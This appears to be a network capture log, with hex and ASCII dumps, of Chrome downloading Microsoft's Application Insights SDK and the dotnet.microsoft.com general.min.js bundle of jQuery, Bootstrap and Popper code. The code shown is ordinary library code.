2024-11-23 20:11:36 UTC	924	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:11:36 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 123063 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=1800, immutable, no-transform Last-Modified: Wed, 20 Mar 2024 17:31:27 GMT ETag: 0x8DC490392FC747D x-ms-request-id: a651e1d0-a01e-00ee-7bc2-2c8ab3000000 x-ms-version: 2009-09-19 x-ms-meta-aijssdksrc: [cdn]/scripts/b/ai.2.8.18.min.js x-ms-meta-aijssdkver: 2.8.18 Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-aijssdksrc,x-ms-meta-aijssdkver,x-ms-meta-lastmodified,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241123T201136Z-174c587ffdfb74xqhC1TEBhabc00000003c000000000fwy6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-23 20:11:36 UTC	15460	IN	Data Raw: 2f 2a 21 0a 20 2a 20 41 70 70 6c 69 63 61 74 69 6f 6e 20 49 6e 73 69 67 68 74 73 20 4a 61 76 61 53 63 72 69 70 74 20 53 44 4b 20 2d 20 57 65 62 2c 20 32 2e 38 2e 31 38 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 74 29 6e 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 Data Ascii: /! Application Insights JavaScript SDK - Web, 2.8.18 * Copyright (c) Microsoft and contributors. All rights reserved. */!function(e,n){var t="undefined";if("object"==typeof exports&&typeof module!=t)n(exports);else if("function"==typeof define&&def
2024-11-23 20:11:37 UTC	16384	IN	Data Raw: 63 61 74 63 68 28 63 29 7b 61 26 26 61 5b 47 65 5d 26 26 61 5b 47 65 5d 28 22 65 78 63 65 70 74 69 6f 6e 22 2c 63 29 7d 66 69 6e 61 6c 6c 79 7b 61 26 26 65 2e 66 69 72 65 28 61 29 2c 65 5b 47 65 5d 28 56 72 2c 75 29 7d 7d 72 65 74 75 72 6e 20 74 28 29 7d 76 61 72 20 4b 72 3d 34 32 39 34 39 36 37 32 39 36 2c 58 72 3d 34 32 39 34 39 36 37 32 39 35 2c 57 72 3d 21 31 2c 47 72 3d 31 32 33 34 35 36 37 38 39 2c 4a 72 3d 39 38 37 36 35 34 33 32 31 3b 66 75 6e 63 74 69 6f 6e 20 24 72 28 65 29 7b 65 3c 30 26 26 28 65 3e 3e 3e 3d 30 29 2c 47 72 3d 31 32 33 34 35 36 37 38 39 2b 65 26 58 72 2c 4a 72 3d 39 38 37 36 35 34 33 32 31 2d 65 26 58 72 2c 57 72 3d 21 30 7d 66 75 6e 63 74 69 6f 6e 20 51 72 28 29 7b 74 72 79 7b 76 61 72 20 65 3d 32 31 34 37 34 38 33 36 34 37 26 Data Ascii: catch(c){a&&a[Ge]&&a[Ge]("exception",c)}finally{a&&e.fire(a),e[Ge](Vr,u)}}return t()}var Kr=4294967296,Xr=4294967295,Wr=!1,Gr=123456789,Jr=987654321;function $r(e){e<0&&(e>>>=0),Gr=123456789+e&Xr,Jr=987654321-e&Xr,Wr=!0}function Qr(){try{var e=2147483647&
2024-11-23 20:11:37 UTC	16384	IN	Data Raw: 29 2c 21 30 7d 2c 67 65 74 43 68 61 6e 6e 65 6c 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 74 3d 6e 75 6c 6c 3b 72 65 74 75 72 6e 20 73 26 26 30 3c 73 5b 52 5d 26 26 24 28 73 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 65 26 26 30 3c 65 2e 71 75 65 75 65 5b 52 5d 26 26 28 24 28 65 2e 71 75 65 75 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 65 5b 73 65 5d 3d 3d 3d 6e 29 72 65 74 75 72 6e 20 74 3d 65 2c 2d 31 7d 29 2c 74 29 29 72 65 74 75 72 6e 2d 31 7d 29 2c 74 7d 2c 66 6c 75 73 68 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 2c 69 29 7b 76 61 72 20 6f 3d 31 2c 6e 3d 21 31 2c 61 3d 6e 75 6c 6c 3b 66 75 6e 63 74 69 6f 6e 20 75 28 29 7b 6f 2d 2d 2c 6e 26 26 30 3d 3d 3d 6f 26 26 28 61 26 26 28 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 61 29 2c Data Ascii: ),!0},getChannel:function(n){var t=null;return s&&0<s[R]&&$(s,function(e){if(e&&0<e.queue[R]&&($(e.queue,function(e){if(e[se]===n)return t=e,-1}),t))return-1}),t},flush:function(t,e,r,i){var o=1,n=!1,a=null;function u(){o--,n&&0===o&&(a&&(clearTimeout(a),
2024-11-23 20:11:37 UTC	16384	IN	Data Raw: 7c 65 26 26 65 2e 64 69 73 61 62 6c 65 43 6f 72 72 65 6c 61 74 69 6f 6e 48 65 61 64 65 72 73 29 72 65 74 75 72 6e 21 31 3b 69 66 28 65 26 26 65 5b 4b 61 5d 29 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 65 2e 63 6f 72 72 65 6c 61 74 69 6f 6e 48 65 61 64 65 72 45 78 63 6c 75 64 65 50 61 74 74 65 72 6e 73 5b 67 5d 3b 72 2b 2b 29 69 66 28 65 5b 4b 61 5d 5b 72 5d 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 69 3d 58 75 28 6e 29 2e 68 6f 73 74 5b 71 61 5d 28 29 3b 69 66 28 21 69 7c 7c 2d 31 3d 3d 3d 69 5b 58 61 5d 28 22 3a 34 34 33 22 29 26 26 2d 31 3d 3d 3d 69 5b 58 61 5d 28 22 3a 38 30 22 29 7c 7c 28 69 3d 28 24 75 28 6e 2c 21 30 29 7c 7c 22 22 29 5b 71 61 5d 28 29 29 2c 28 21 65 7c 7c 21 65 2e 65 6e 61 62 6c 65 43 6f 72 73 43 6f 72 72 65 Data Ascii: \|e&&e.disableCorrelationHeaders)return!1;if(e&&e[Ka])for(var r=0;r<e.correlationHeaderExcludePatterns[g];r++)if(e[Ka][r].test(n))return!1;var i=Xu(n).host[qa]();if(!i\|\|-1===i[Xa](":443")&&-1===i[Xa](":80")\|\|(i=($u(n,!0)\|\|"")[qa]()),(!e\|\|!e.enableCorsCorre
2024-11-23 20:11:37 UTC	16384	IN	Data Raw: 72 20 51 73 3d 22 61 69 2e 61 6a 78 6d 6e 2e 22 2c 59 73 3d 22 64 69 61 67 4c 6f 67 22 2c 5a 73 3d 22 5f 61 6a 61 78 44 61 74 61 22 2c 65 6c 3d 22 66 65 74 63 68 22 2c 6e 6c 3d 22 46 61 69 6c 65 64 20 74 6f 20 6d 6f 6e 69 74 6f 72 20 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 22 2c 69 3d 22 2c 20 6d 6f 6e 69 74 6f 72 69 6e 67 20 64 61 74 61 20 66 6f 72 20 74 68 69 73 20 61 6a 61 78 20 63 61 6c 6c 20 22 2c 74 6c 3d 69 2b 22 6d 61 79 20 62 65 20 69 6e 63 6f 72 72 65 63 74 2e 22 2c 72 6c 3d 69 2b 22 77 6f 6e 27 74 20 62 65 20 73 65 6e 74 2e 22 2c 69 6c 3d 22 46 61 69 6c 65 64 20 74 6f 20 67 65 74 20 52 65 71 75 65 73 74 2d 43 6f 6e 74 65 78 74 20 63 6f 72 72 65 6c 61 74 69 6f 6e 20 68 65 61 64 65 72 20 61 73 20 69 74 20 6d 61 79 20 62 65 20 6e 6f 74 20 69 6e Data Ascii: r Qs="ai.ajxmn.",Ys="diagLog",Zs="_ajaxData",el="fetch",nl="Failed to monitor XMLHttpRequest",i=", monitoring data for this ajax call ",tl=i+"may be incorrect.",rl=i+"won't be sent.",il="Failed to get Request-Context correlation header as it may be not in
2024-11-23 20:11:37 UTC	16384	IN	Data Raw: 2c 32 35 2c 22 74 72 61 63 6b 50 61 67 65 56 69 65 77 3a 20 6e 61 76 69 67 61 74 69 6f 6e 20 74 69 6d 69 6e 67 20 41 50 49 20 75 73 65 64 20 66 6f 72 20 63 61 6c 63 75 6c 61 74 69 6f 6e 20 6f 66 20 70 61 67 65 20 64 75 72 61 74 69 6f 6e 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 20 69 6e 20 74 68 69 73 20 62 72 6f 77 73 65 72 2e 20 54 68 69 73 20 70 61 67 65 20 76 69 65 77 20 77 69 6c 6c 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 20 77 69 74 68 6f 75 74 20 64 75 72 61 74 69 6f 6e 20 61 6e 64 20 74 69 6d 69 6e 67 20 69 6e 66 6f 2e 22 29 29 3b 76 61 72 20 75 2c 6e 2c 63 3d 21 31 2c 73 3d 67 5b 66 64 5d 28 29 5b 64 64 5d 3b 30 3c 73 26 26 28 75 3d 6e 63 28 73 2c 2b 6e 65 77 20 44 61 74 65 29 2c 67 5b 70 64 5d 28 75 29 7c 7c 28 75 3d 75 6e 64 65 66 69 6e Data Ascii: ,25,"trackPageView: navigation timing API used for calculation of page duration is not supported in this browser. This page view will be collected without duration and timing info."));var u,n,c=!1,s=g[fd]()[dd];0<s&&(u=nc(s,+new Date),g[pd](u)\|\|(u=undefin
2024-11-23 20:11:37 UTC	16384	IN	Data Raw: 66 2c 31 2c 34 38 2c 6e 26 26 57 28 6e 5b 5a 64 5d 29 3f 6e 5b 5a 64 5d 28 29 3a 22 45 72 72 6f 72 20 73 65 72 69 61 6c 69 7a 69 6e 67 20 6f 62 6a 65 63 74 22 2c 6e 75 6c 6c 2c 21 30 29 7d 7d 72 65 74 75 72 6e 20 63 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 65 2c 6e 29 7b 69 66 28 65 29 69 66 28 71 28 65 29 29 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 72 3d 30 3b 72 3c 65 5b 4f 5d 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 73 28 65 5b 72 5d 2c 6e 2b 22 5b 22 2b 72 2b 22 5d 22 29 3b 74 5b 6f 70 5d 28 69 29 7d 65 6c 73 65 20 48 28 66 2c 31 2c 35 34 2c 22 54 68 69 73 20 66 69 65 6c 64 20 77 61 73 20 73 70 65 63 69 66 69 65 64 20 61 73 20 61 6e 20 61 72 72 61 79 20 69 6e 20 74 68 65 20 63 6f 6e 74 72 61 63 74 20 62 75 74 20 74 68 65 20 69 74 65 6d 20 69 73 20 6e 6f 74 20 61 Data Ascii: f,1,48,n&&W(n[Zd])?n[Zd]():"Error serializing object",null,!0)}}return c}function l(e,n){if(e)if(q(e))for(var t=[],r=0;r<e[O];r++){var i=s(e[r],n+"["+r+"]");t[op](i)}else H(f,1,54,"This field was specified as an array in the contract but the item is not a
2024-11-23 20:11:37 UTC	9299	IN	Data Raw: 7c 6e 26 26 21 75 67 28 6e 29 3f 48 28 63 2c 32 2c 36 30 2c 22 53 65 74 74 69 6e 67 20 61 75 74 68 20 75 73 65 72 20 63 6f 6e 74 65 78 74 20 66 61 69 6c 65 64 2e 20 55 73 65 72 20 61 75 74 68 2f 61 63 63 6f 75 6e 74 20 69 64 20 73 68 6f 75 6c 64 20 62 65 20 6f 66 20 74 79 70 65 20 73 74 72 69 6e 67 2c 20 61 6e 64 20 6e 6f 74 20 63 6f 6e 74 61 69 6e 20 63 6f 6d 6d 61 73 2c 20 73 65 6d 69 2d 63 6f 6c 6f 6e 73 2c 20 65 71 75 61 6c 20 73 69 67 6e 73 2c 20 73 70 61 63 65 73 2c 20 6f 72 20 76 65 72 74 69 63 61 6c 2d 62 61 72 73 2e 22 2c 21 30 29 3a 28 72 5b 4b 76 5d 3d 65 2c 65 3d 72 5b 4b 76 5d 2c 6e 26 26 28 72 5b 4c 76 5d 3d 6e 2c 65 3d 5b 72 5b 4b 76 5d 2c 72 2e 61 63 63 6f 75 6e 74 49 64 5d 5b 59 76 5d 28 73 67 5b 5a 76 5d 29 29 2c 74 26 26 73 2e 73 65 74 Data Ascii: \|n&&!ug(n)?H(c,2,60,"Setting auth user context failed. User auth/account id should be of type string, and not contain commas, semi-colons, equal signs, spaces, or vertical-bars.",!0):(r[Kv]=e,e=r[Kv],n&&(r[Lv]=n,e=[r[Kv],r.accountId][Yv](sg[Zv])),t&&s.set

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49785	13.107.246.63	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:36 UTC	414	OUT	GET /static/js/general.min.js?v=F8IRjdt-e6ILrPwh-6HqZfXtNkuyXy4by_5lrJWUX_Y HTTP/1.1 Host: dotnet.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:37 UTC	757	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:11:36 GMT Content-Type: text/javascript Content-Length: 173512 Connection: close Cache-Control: public, max-age=31359572 ETag: "1db3d2c6d5b21c8" Last-Modified: Fri, 22 Nov 2024 22:18:16 GMT Set-Cookie: TiPMix=95.53111084579939; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Set-Cookie: x-ms-routing-name=self; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Request-Context: appId=cid-v1:109cec76-ff6c-4be0-97b5-4f02dbac2451 X-Powered-By: ASP.NET X-Content-Type-Options: nosniff x-azure-ref: 20241123T201136Z-178bfbc474bxkclvhC1NYC69g400000004x0000000007r5t X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes
2024-11-23 20:11:37 UTC	15627	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 67 65 6e 65 72 61 6c 2e 6d 69 6e 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 28 29 3d 3e 7b 76 61 72 20 65 3d 7b 34 31 33 34 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 76 61 72 20 69 3d 6e 28 34 36 39 32 29 2c 72 3d 6e 28 34 35 35 32 29 3b 76 6f 69 64 20 30 3d 3d 3d 72 2e 24 26 26 28 72 2e 24 3d 69 29 2c 76 6f 69 64 20 30 3d 3d 3d 72 2e 6a 51 75 65 72 79 26 26 28 72 2e 6a 51 75 65 72 79 3d 69 29 2c 65 2e 65 78 70 6f 72 74 73 3d 69 7d 2c 35 31 33 34 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 76 61 72 20 69 3d 6e 28 32 37 35 34 29 2c 72 3d 6e 28 34 35 35 32 29 3b 76 6f 69 64 20 30 3d 3d 3d 72 2e 62 6f 6f 74 73 74 72 61 70 26 26 28 72 2e 62 6f 6f Data Ascii: /! For license information please see general.min.js.LICENSE.txt /(()=>{var e={4134:(e,t,n)=>{var i=n(4692),r=n(4552);void 0===r.$&&(r.$=i),void 0===r.jQuery&&(r.jQuery=i),e.exports=i},5134:(e,t,n)=>{var i=n(2754),r=n(4552);void 0===r.bootstrap&&(r.boo
2024-11-23 20:11:37 UTC	757	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 74 2e 62 6f 75 6e 64 61 72 69 65 73 45 6c 65 6d 65 6e 74 7c 7c 70 28 65 2e 69 6e 73 74 61 6e 63 65 2e 70 6f 70 70 65 72 29 3b 65 2e 69 6e 73 74 61 6e 63 65 2e 72 65 66 65 72 65 6e 63 65 3d 3d 3d 6e 26 26 28 6e 3d 70 28 6e 29 29 3b 76 61 72 20 69 3d 46 28 22 74 72 61 6e 73 66 6f 72 6d 22 29 2c 72 3d 65 2e 69 6e 73 74 61 6e 63 65 2e 70 6f 70 70 65 72 2e 73 74 79 6c 65 2c 6f 3d 72 2e 74 6f 70 2c 61 3d 72 2e 6c 65 66 74 2c 73 3d 72 5b 69 5d 3b 72 2e 74 6f 70 3d 22 22 2c 72 2e 6c 65 66 74 3d 22 22 2c 72 5b 69 5d 3d 22 22 3b 76 61 72 20 6c 3d 41 28 65 2e 69 6e 73 74 61 6e 63 65 2e 70 6f 70 70 65 72 2c 65 2e 69 6e 73 74 61 6e 63 65 2e 72 65 66 65 72 65 6e 63 65 2c 74 2e 70 61 64 64 69 6e 67 2c 6e 2c Data Ascii: :function(e,t){var n=t.boundariesElement\|\|p(e.instance.popper);e.instance.reference===n&&(n=p(n));var i=F("transform"),r=e.instance.popper.style,o=r.top,a=r.left,s=r[i];r.top="",r.left="",r[i]="";var l=A(e.instance.popper,e.instance.reference,t.padding,n,
2024-11-23 20:11:37 UTC	16384	IN	Data Raw: 7d 2c 70 72 69 6f 72 69 74 79 3a 5b 22 6c 65 66 74 22 2c 22 72 69 67 68 74 22 2c 22 74 6f 70 22 2c 22 62 6f 74 74 6f 6d 22 5d 2c 70 61 64 64 69 6e 67 3a 35 2c 62 6f 75 6e 64 61 72 69 65 73 45 6c 65 6d 65 6e 74 3a 22 73 63 72 6f 6c 6c 50 61 72 65 6e 74 22 7d 2c 6b 65 65 70 54 6f 67 65 74 68 65 72 3a 7b 6f 72 64 65 72 3a 34 30 30 2c 65 6e 61 62 6c 65 64 3a 21 30 2c 66 6e 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 66 66 73 65 74 73 2c 6e 3d 74 2e 70 6f 70 70 65 72 2c 69 3d 74 2e 72 65 66 65 72 65 6e 63 65 2c 72 3d 65 2e 70 6c 61 63 65 6d 65 6e 74 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 2c 6f 3d 4d 61 74 68 2e 66 6c 6f 6f 72 2c 61 3d 2d 31 21 3d 3d 5b 22 74 6f 70 22 2c 22 62 6f 74 74 6f 6d 22 5d 2e 69 6e 64 65 78 4f 66 28 72 29 2c 73 Data Ascii: },priority:["left","right","top","bottom"],padding:5,boundariesElement:"scrollParent"},keepTogether:{order:400,enabled:!0,fn:function(e){var t=e.offsets,n=t.popper,i=t.reference,r=e.placement.split("-")[0],o=Math.floor,a=-1!==["top","bottom"].indexOf(r),s
2024-11-23 20:11:37 UTC	12288	IN	Data Raw: 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 74 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 50 65 29 3b 76 61 72 20 6e 3d 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 29 3b 69 66 28 21 28 65 3e 74 68 69 73 2e 5f 69 74 65 Data Ascii: terval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},t.to=function(e){var t=this;this._activeElement=this._element.querySelector(Pe);var n=this._getItemIndex(this._activeElement);if(!(e>this._ite
2024-11-23 20:11:37 UTC	16384	IN	Data Raw: 63 74 69 6f 6e 20 65 28 65 2c 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 65 2c 74 68 69 73 2e 5f 70 6f 70 70 65 72 3d 6e 75 6c 6c 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 3d 74 68 69 73 2e 5f 67 65 74 43 6f 6e 66 69 67 28 74 29 2c 74 68 69 73 2e 5f 6d 65 6e 75 3d 74 68 69 73 2e 5f 67 65 74 4d 65 6e 75 45 6c 65 6d 65 6e 74 28 29 2c 74 68 69 73 2e 5f 69 6e 4e 61 76 62 61 72 3d 74 68 69 73 2e 5f 64 65 74 65 63 74 4e 61 76 62 61 72 28 29 2c 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 7d 76 61 72 20 74 3d 65 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 74 6f 67 67 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 21 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 64 69 73 61 62 6c 65 64 26 26 21 72 2e 64 65 66 61 Data Ascii: ction e(e,t){this._element=e,this._popper=null,this._config=this._getConfig(t),this._menu=this._getMenuElement(),this._inNavbar=this._detectNavbar(),this._addEventListeners()}var t=e.prototype;return t.toggle=function(){if(!this._element.disabled&&!r.defa
2024-11-23 20:11:37 UTC	16384	IN	Data Raw: 2e 69 6e 64 65 78 4f 66 28 6e 29 29 72 65 74 75 72 6e 2d 31 3d 3d 3d 52 6e 2e 69 6e 64 65 78 4f 66 28 6e 29 7c 7c 42 6f 6f 6c 65 61 6e 28 4d 6e 2e 74 65 73 74 28 65 2e 6e 6f 64 65 56 61 6c 75 65 29 7c 7c 42 6e 2e 74 65 73 74 28 65 2e 6e 6f 64 65 56 61 6c 75 65 29 29 3b 66 6f 72 28 76 61 72 20 69 3d 74 2e 66 69 6c 74 65 72 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 52 65 67 45 78 70 7d 29 29 2c 72 3d 30 2c 6f 3d 69 2e 6c 65 6e 67 74 68 3b 72 3c 6f 3b 72 2b 2b 29 69 66 28 69 5b 72 5d 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 66 75 6e 63 74 69 6f 6e 20 55 6e 28 65 2c 74 2c 6e 29 7b 69 66 28 30 3d 3d 3d 65 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 20 65 3b 69 66 Data Ascii: .indexOf(n))return-1===Rn.indexOf(n)\|\|Boolean(Mn.test(e.nodeValue)\|\|Bn.test(e.nodeValue));for(var i=t.filter((function(e){return e instanceof RegExp})),r=0,o=i.length;r<o;r++)if(i[r].test(n))return!0;return!1}function Un(e,t,n){if(0===e.length)return e;if
2024-11-23 20:11:37 UTC	4096	IN	Data Raw: 72 6f 6c 6c 48 65 69 67 68 74 29 7d 2c 74 2e 5f 67 65 74 4f 66 66 73 65 74 48 65 69 67 68 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 73 63 72 6f 6c 6c 45 6c 65 6d 65 6e 74 3d 3d 3d 77 69 6e 64 6f 77 3f 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 48 65 69 67 68 74 3a 74 68 69 73 2e 5f 73 63 72 6f 6c 6c 45 6c 65 6d 65 6e 74 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 6c 69 65 6e 74 52 65 63 74 28 29 2e 68 65 69 67 68 74 7d 2c 74 2e 5f 70 72 6f 63 65 73 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 5f 67 65 74 53 63 72 6f 6c 6c 54 6f 70 28 29 2b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6f 66 66 73 65 74 2c 74 3d 74 68 69 73 2e 5f 67 65 74 53 63 72 6f 6c 6c 48 65 69 67 68 74 28 29 2c 6e 3d 74 68 69 73 2e 5f 63 6f Data Ascii: rollHeight)},t._getOffsetHeight=function(){return this._scrollElement===window?window.innerHeight:this._scrollElement.getBoundingClientRect().height},t._process=function(){var e=this._getScrollTop()+this._config.offset,t=this._getScrollHeight(),n=this._co
2024-11-23 20:11:37 UTC	16384	IN	Data Raw: 26 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 73 65 6c 65 63 74 65 64 22 2c 21 31 29 7d 72 2e 64 65 66 61 75 6c 74 28 65 29 2e 61 64 64 43 6c 61 73 73 28 6f 72 29 2c 22 74 61 62 22 3d 3d 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 72 6f 6c 65 22 29 26 26 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 73 65 6c 65 63 74 65 64 22 2c 21 30 29 2c 79 2e 72 65 66 6c 6f 77 28 65 29 2c 65 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 73 72 29 26 26 65 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 6c 72 29 3b 76 61 72 20 6f 3d 65 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 69 66 28 6f 26 26 22 4c 49 22 3d 3d 3d 6f 2e 6e 6f 64 65 4e 61 6d 65 26 26 28 6f 3d 6f 2e 70 61 72 65 6e 74 4e 6f 64 65 29 2c 6f 26 26 72 2e 64 65 Data Ascii: &t.setAttribute("aria-selected",!1)}r.default(e).addClass(or),"tab"===e.getAttribute("role")&&e.setAttribute("aria-selected",!0),y.reflow(e),e.classList.contains(sr)&&e.classList.add(lr);var o=e.parentNode;if(o&&"LI"===o.nodeName&&(o=o.parentNode),o&&r.de
2024-11-23 20:11:37 UTC	16384	IN	Data Raw: 65 7d 2c 50 53 45 55 44 4f 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3d 21 65 5b 36 5d 26 26 65 5b 32 5d 3b 72 65 74 75 72 6e 20 51 2e 43 48 49 4c 44 2e 74 65 73 74 28 65 5b 30 5d 29 3f 6e 75 6c 6c 3a 28 65 5b 33 5d 3f 65 5b 32 5d 3d 65 5b 34 5d 7c 7c 65 5b 35 5d 7c 7c 22 22 3a 6e 26 26 57 2e 74 65 73 74 28 6e 29 26 26 28 74 3d 63 65 28 6e 2c 21 30 29 29 26 26 28 74 3d 6e 2e 69 6e 64 65 78 4f 66 28 22 29 22 2c 6e 2e 6c 65 6e 67 74 68 2d 74 29 2d 6e 2e 6c 65 6e 67 74 68 29 26 26 28 65 5b 30 5d 3d 65 5b 30 5d 2e 73 6c 69 63 65 28 30 2c 74 29 2c 65 5b 32 5d 3d 6e 2e 73 6c 69 63 65 28 30 2c 74 29 29 2c 65 2e 73 6c 69 63 65 28 30 2c 33 29 29 7d 7d 2c 66 69 6c 74 65 72 3a 7b 54 41 47 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 Data Ascii: e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return Q.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]\|\|e[5]\|\|"":n&&W.test(n)&&(t=ce(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e
2024-11-23 20:11:37 UTC	16384	IN	Data Raw: 61 64 79 29 7c 7c 28 43 2e 69 73 52 65 61 64 79 3d 21 30 2c 21 30 21 3d 3d 65 26 26 2d 2d 43 2e 72 65 61 64 79 57 61 69 74 3e 30 7c 7c 4a 2e 72 65 73 6f 6c 76 65 57 69 74 68 28 5f 2c 5b 43 5d 29 29 7d 7d 29 2c 43 2e 72 65 61 64 79 2e 74 68 65 6e 3d 4a 2e 74 68 65 6e 2c 22 63 6f 6d 70 6c 65 74 65 22 3d 3d 3d 5f 2e 72 65 61 64 79 53 74 61 74 65 7c 7c 22 6c 6f 61 64 69 6e 67 22 21 3d 3d 5f 2e 72 65 61 64 79 53 74 61 74 65 26 26 21 5f 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 64 6f 53 63 72 6f 6c 6c 3f 69 2e 73 65 74 54 69 6d 65 6f 75 74 28 43 2e 72 65 61 64 79 29 3a 28 5f 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 5a 29 2c 69 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 Data 